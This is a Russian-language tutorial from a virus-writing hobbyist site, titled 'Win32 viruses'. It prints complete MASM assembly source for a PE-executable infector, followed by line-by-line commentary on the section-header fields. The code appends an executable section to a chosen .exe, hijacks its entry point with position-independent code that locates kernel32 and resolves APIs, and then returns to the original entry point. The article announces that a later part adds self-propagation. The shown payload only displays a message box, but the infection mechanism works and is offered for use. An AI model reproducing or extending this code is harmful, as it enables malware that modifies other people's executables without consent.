| Welcome to The Passion Of Code Laboratory!!! | Статьи |
"Win32-вирусы" |
|
.486 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\comdlg32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comdlg32.lib ; его ( Freddy K ) упрощенная версия IMAGE_SECTION_HEADER pesection struc name_ db 8 dup (0) vsz dd 0 voff dd 0 sz dd 0 off dd 0 junk db 12 dup (0) char dd 0 pesection ends .CONST MIN_KERNEL_SEARCH_BASE equ 070000000h MAX_API_STRING_LENGTH equ 150 LENGTH_ equ ( offset section_end - offset section) MAX equ 255 SECTION_VSZ equ 1000h SECTION_PADD equ 1000h CHAR_ equ 0E0000020h .DATA filter db 'PE-executables (*.exe)',0,'*.exe',0,0 buffer db MAX dup (0) about db 'Please Pick the Target File',0 notpe db "Chosen file is not a Win32 PE file.",13,10 db "Please choose another file",0 ; изменили имя добавляемой секции на свое, так приятней :) sec_name db ".igi",0 OpenStruct dd 76, 0 dd 0 dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER dd 0, 0, 0, 0, 0 fhandle dd 0 fsize dd 0 buff dd 0 ;переменная для хранения указателя на память выделенную по функции GlobalAlloc() pMem dd 0 peHdr dd 0 ; смещение PE - заголовка sections dd 0 ; здесь сохраним старое количество секций image_sz dd 0 ; здесь сохраним реальный размер .CODE main: invoke GetOpenFileNameA, offset OpenStruct .if eax==0 jmp main_exit .endif invoke CreateFileA, offset buffer, GENERIC_READ or GENERIC_WRITE,\ 0,0, OPEN_EXISTING, 0,0 .if eax==INVALID_HANDLE_VALUE jmp main_exit .endif mov fhandle, eax invoke GetFileSize, fhandle, 0 mov fsize, eax add eax, SECTION_VSZ + SECTION_PADD invoke GlobalAlloc, GMEM_FIXED OR GMEM_ZEROINIT, eax mov pMem, eax invoke ReadFile, fhandle, pMem, fsize, offset buff, 0 ; в esi указатель на образ в памяти открытого по GetOpenFileNameA()PE-файла mov esi, pMem .if word ptr [esi] != IMAGE_DOS_SIGNATURE jmp not_pe .endif add esi, 03ch mov eax, dword ptr [esi] mov peHdr, eax sub eax, 03ch add esi, eax ; в esi указатель на PE-заголовок открытого файла .if dword ptr [esi] != IMAGE_NT_SIGNATURE jmp not_pe .endif ; обновим некоторые поля старого PE-заголовка assume esi:ptr IMAGE_NT_HEADERS mov ax, [esi].FileHeader.NumberOfSections mov sections, eax inc [esi].FileHeader.NumberOfSections ; увеличили количество секций ; нам нужно сохранить старую EntryPoint для этого получим ее реальный адрес ; путем сложения: ; [IMAGE_NT_HEADERS].OptionalHeader.AddressOfEntryPoint ; + ; [MAGE_NT_HEADERS].OptionalHeader.ImageBase (смотри Правило 5.2.) mov eax, [esi].OptionalHeader.AddressOfEntryPoint add eax, [esi].OptionalHeader.ImageBase ; Результат будет записан по смещению oep, для этого нужно, чтобы добавляемая нами секция имела ; атрибуты чтение + запись ( смотри Правило 4.3.) mov oep, eax ; SizeOfImage – согласно [1.1] общий размер загруженного модуля в памяти, начиная от ImageBase до ; конца последней секции. mov eax, [esi].OptionalHeader.SizeOfImage mov image_sz, eax ; Тут нам необходимо изменить величину [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage, для того ; чтобы загрузчик загрузил и нашу новую секцию тоже. ; Внесем новый размер [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage add [esi].OptionalHeader.SizeOfImage, SECTION_VSZ ; Новый EntryPoint = концу файла в исходном состоянии mov [esi].OptionalHeader.AddressOfEntryPoint, eax assume esi: NOTHING mov esi, pMem add esi, peHdr ; если к указателю на PE-заголовок прибавить F8h получим указатель на начало первой ; секции в файле add esi, 0f8h ; размер секции = 40 байт ; ;pesection struc ; name_ db 8 dup (0) 8 ; vsz dd 0 4 ; voff dd 0 4 ; sz dd 0 4 ; off dd 0 4 ; junk db 12 dup (0) 12 ; char dd 0 4 ;pesection ends __________ ; 40 = 28h mov eax, 28h ; В ecx старое количество секций mov ecx, sections ; если операнд, указанный в команде, — двойное слово, то второй сомножитель располагается в eax. ; eax=eax*ecx imul ecx ; прибавив к адресу начала первой секции размер всех старых секций, то получим адрес начала нашей ; новой оследней секции add esi, eax ; по найденному только что адресу запишем нашу новую секцию assume esi:ptr pesection ; внесем новое имя секции mov dword ptr [esi].name_, " gi." ; внесем новый виртуальный размер нашей секции mov eax, SECTION_VSZ mov [esi].vsz, eax ; virtual size ; поместим туда значение [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage mov eax, image_sz mov [esi].voff, eax ; virtual offset ; внесем реальный размер секции mov eax, LENGTH_ mov [esi].sz, eax ; real size ; fsize = размер полученный от GetFileSize() mov eax, fsize mov [esi].off, eax ; real offset ; внесем нужные характеристики секции mov eax, CHAR_ mov [esi].char, eax assume esi: NOTHING mov edi, pMem ; в edi – указатель на конец образа открытого файла в памяти add edi, fsize ; не путаем с sections – старым количеством секций. ; section – адрес начала копируемого участка lea eax, section xchg esi, eax mov ecx, LENGTH_ ; rep используется перед следующими цепочечными командами и их краткими эквивалентами: movs, ; stos, ins, outs. ; Действия rep: ;1. анализ содержимого cx: ; - если cx<>0, то выполнить цепочечную команду, следующую за данным префиксом и перейти шагу 2; ; - если cx=0, то передать управление команде, следующей за данной цепочечной командой (выйти из ; цикла по rep); ;2. уменьшить значение cx=cx–1 и вернуться к шагу 1; ; edi – источник; ; esi – приемник; rep movsb ; запишем из образа в памяти в сам файл invoke SetFilePointer, fhandle, 0,0, FILE_BEGIN mov eax, fsize add eax, LENGTH_ invoke WriteFile, [fhandle], pMem, eax, offset buff, 0 close_file: invoke CloseHandle, fhandle invoke GlobalFree, pMem push 0 call ExitProcess main_exit: invoke ExitProcess, 0 not_pe: invoke MessageBoxA, 0, offset notpe, offset about, MB_OK+MB_ICONSTOP jmp close_file ; . All code from here on IS the new section - variables are relative to ; where we are (ebp+whatever) NOT accessed normally ; . The code from here is predominantly YODA (with some tasm fixes and code moving) ; so look at his src for more info section: ASSUME FS:NOTHING pushad call delta delta: pop ebp sub ebp, offset delta push dword ptr [esp+20h] call GetKernelBase or EAX, EAX jz QUIT mov [ebp+dwKernelBase], EAX ; определим все необходимые API – адреса lea eax, [ebp+OFFSET szLoadLibrary] push eax push [ebp+dwKernelBase] call GetProcAddr OR EAX, EAX JZ QUIT MOV [ebp+_LoadLibrary], EAX lea eax, [ebp+OFFSET szGetProcAddress] push eax push [ebp+dwKernelBase] call GetProcAddr OR EAX, EAX JZ QUIT MOV [ebp+_GetProcAddress], EAX lea eax, [ebp+OFFSET szExitProcess] push eax push [ebp+dwKernelBase] call GetProcAddr OR EAX, EAX JZ QUIT MOV [ebp+_ExitProcess], EAX lea eax, [ebp+OFFSET szUser32] push eax call [ebp+_LoadLibrary] OR EAX, EAX JZ QUIT MOV [ebp+dwUserBase], EAX lea eax, [ebp+OFFSET szMessageBox] push eax push [ebp+dwUserBase] call GetProcAddr OR EAX, EAX JZ QUIT MOV [ebp+_MessageBox], EAX lea eax, [ebp+OFFSET szInfoCap] push MB_ICONINFORMATION OR MB_SYSTEMMODAL push 0 push eax push 0 CALL [ebp+_MessageBox] QUIT: mov eax, [ebp+oep] .if eax != 0 mov [esp+1ch], eax popad jmp eax .endif popad ret szLoadLibrary db "LoadLibraryA",0 szGetProcAddress db "GetProcAddress",0 szExitProcess db "ExitProcess",0 szUser32 db "user32",0 szMessageBox db "MessageBoxA",0 szInfoCap db "Добрый день, уважаемый!",0 _LoadLibrary dd 0 _GetProcAddress dd 0 _ExitProcess dd 0 _MessageBox dd 0 dwKernelBase dd 0 dwUserBase dd 0 oep dd 4010cch ; HOSTS OEP GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD MOV EDI, dwTopStack AND EDI, 0FFFF0000h .WHILE TRUE .IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE MOV ESI, EDI ADD ESI, [ESI+03Ch] .IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE .BREAK .ENDIF .ENDIF ExceptCont: SUB EDI, 010000h .IF EDI < MIN_KERNEL_SEARCH_BASE MOV EDI, 0BFF70000h .BREAK .ENDIF .ENDW XCHG EAX, EDI RET GetKernelBase ENDP GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR MOV ESI, dwDllBase CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE JNZ @@BadExit ADD ESI, [ESI+03Ch] CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE JNZ @@BadExit MOV EDI, szApi MOV ECX, MAX_API_STRING_LENGTH XOR AL, AL REPNZ SCASB MOV ECX, EDI SUB ECX, szApi MOV EDX, [ESI+078h] ADD EDX, dwDllBase ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY MOV EBX, [EDX].AddressOfNames ADD EBX, dwDllBase XOR EAX, EAX .REPEAT MOV EDI, [EBX] ADD EDI, dwDllBase MOV ESI, szApi PUSH ECX REPZ CMPSB .IF ZERO? .BREAK .ENDIF POP ECX ADD EBX, 4 INC EAX .UNTIL EAX == [EDX].NumberOfNames MOV ESI, [EDX].AddressOfNameOrdinals ADD ESI, dwDllBase PUSH EDX MOV EBX, 2 XOR EDX, EDX MUL EBX ADD EAX, ESI XOR ECX, ECX MOV WORD PTR CX, [EAX] POP EDX MOV EDI, [EDX].AddressOfFunctions XOR EDX, EDX MOV EBX, 4 MOV EAX, ECX MUL EBX ADD EAX, dwDllBase ADD EAX, EDI MOV EAX, [EAX] ADD EAX, dwDllBase JMP @@ExitProc ASSUME EDX : NOTHING @@BadExit: XOR EAX, EAX @@ExitProc: RET GetProcAddr ENDP section_end: end main |
Прокомментируем некоторые моменты.
1)
|
; его ( Freddy K ) упрощенная версия
IMAGE_SECTION_HEADER pesection struc name_ db 8 dup (0) vsz dd 0 voff dd 0 sz dd 0 off dd 0 junk db 12 dup (0) char dd 0 pesection ends |
Что мы находим в windows.inc и что в
программе? Интересный комментарий по поводу поля PhysicalAddress мне на wasm.ru
дал volodya ( дословно :)):
Вопрос:
«Добрый день.
Вопрос относится к таблице секций PE-файла.
В файле windows.inc структура IMAGE_SECTION_HEADER имеет вид :
IMAGE_SECTION_HEADER STRUCT
Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?)
union Misc
PhysicalAddress dd ?
VirtualSize dd ?
ends
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd ?
PointerToLinenumbers dd ?
NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics dd ?
IMAGE_SECTION_HEADER ENDS
В "Формат исполняемых файлов PE , Hard Wisdom" в коментарии к полю Name1 читаем:
"Object Name - Имя объекта, остаток заполнен нулями, если имя объекта имеет
длину 8 символов, то заключительного 0 нет. Некоторые PE дамперы падают на этом
факте. Имя - штука отфонарная и никого ни к чему не обязывает."
Вопрос: правильно ли считать что поле PhysicalAddress как правило содержит 0?
Спасибо.»
Ответ:
«Вот блин. А самому слабо? union - это термин С/С++. Переводится как "объединение".
Это означает, с нашей точки зрения, что компилятор, просто-напросто, резервирует
достаточный объем памяти, чтобы хранить ЛИБО одно, ЛИБО другое. В данном случае,
хранится ЛИБО один DD, ЛИБО другой. Можно привести и другой пример:
union
f_1 dw ?
f_2 dd ?
Здесь, как видишь, я говорю, что неплохо бы хранить ЛИБО DW, ЛИБО DD. Компилятор
это понимает и резервирует память под больший элемент - f_2. А хранится, может
либо f_1, либо f_2. Когда что - смотреть по контексту.»
|
pesection struc
name_ db 8 dup (0)
vsz dd 0
voff dd 0 sz dd 0 off dd 0 junk db 12 dup (0)
char dd 0
pesection ends |
IMAGE_SECTION_HEADER STRUCT
Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?) union Misc PhysicalAddress dd ? VirtualSize dd ? ends VirtualAddress dd ? SizeOfRawData dd ? PointerToRawData dd ? PointerToRelocations dd ? PointerToLinenumbers dd ? NumberOfRelocations dw ? NumberOfLinenumbers dw ? Characteristics dd ?
IMAGE_SECTION_HEADER ENDS
|
2)
|
; внесем новое имя секции mov dword ptr [esi].name_, " gi." |
Ну очень хотелось мне , чтобы имя секции как-то отражало что-то моего,
хотя, признаюсь, не заслуженно :)
3)
|
mov eax, SECTION_VSZ mov [esi].vsz, eax ; virtual size |
vsz = VirtualSize = размер, округленный в большую сторону до SectionAlignment из IMAGE_OPTIONAL_HEADER (округлять вроде не обязательно но мы округлим)
4)
|
mov eax, image_sz mov [esi].voff, eax ; virtual |
voff = VirtualAddress = LastSect.VirtualAddress + LastSect.VirtualSize, выровнено на SectionAlignment из структуры IMAGE_OPTIONAL_HEADER PE заголовка. Но в программе используется другой подход ( хотя одно и тоже), мы внесли туда просто величину [MAGE_NT_HEADERS].OptionalHeader.SizeOfImage.
5)
|
mov eax, LENGTH_ mov [esi].sz, eax ; real size |
sz = SizeOfRawData = размер, округленный в
большую сторону до FileAlignment из IMAGE_OPTIONAL_HEADER. Мы ничего, не
округляя, вносим туда величину (offset section_end - offset section)
6)
|
mov eax, fsize mov [esi].off, eax ; real offset |
fsize = размер полученный от GetFileSize()
off = PointerToRawData = LastPhysSect.PointerToRawData+
LastPhysSect.SizeOfRawData;
(последняя LastPhysSect секция, у которой SizeOfRawData не равен 0). Мы
поместили в качестве смещения количество байт составляющее общий размер EXE
файла до «работ» с ним.
7)
|
mov eax, CHAR_ mov [esi].char, eax |
внесем нужные характеристики секции
;Characteristics = флаги секции ;=MAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE
Остальное вроде не ново. В следующей статье мы проведем интереснейшую процедуру
порождения «зараженным» файлом «потомка». До свиданья.
Перечень используемой литературы:
[1.1] - Описание формата файлов РЕ от Hard Wisdom
Перечень используемого программного обеспечения:
[2.1] - Section Add by Freddy K (http://www.wasm.ru/src/2/sectionadd.zip)
Исходник
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |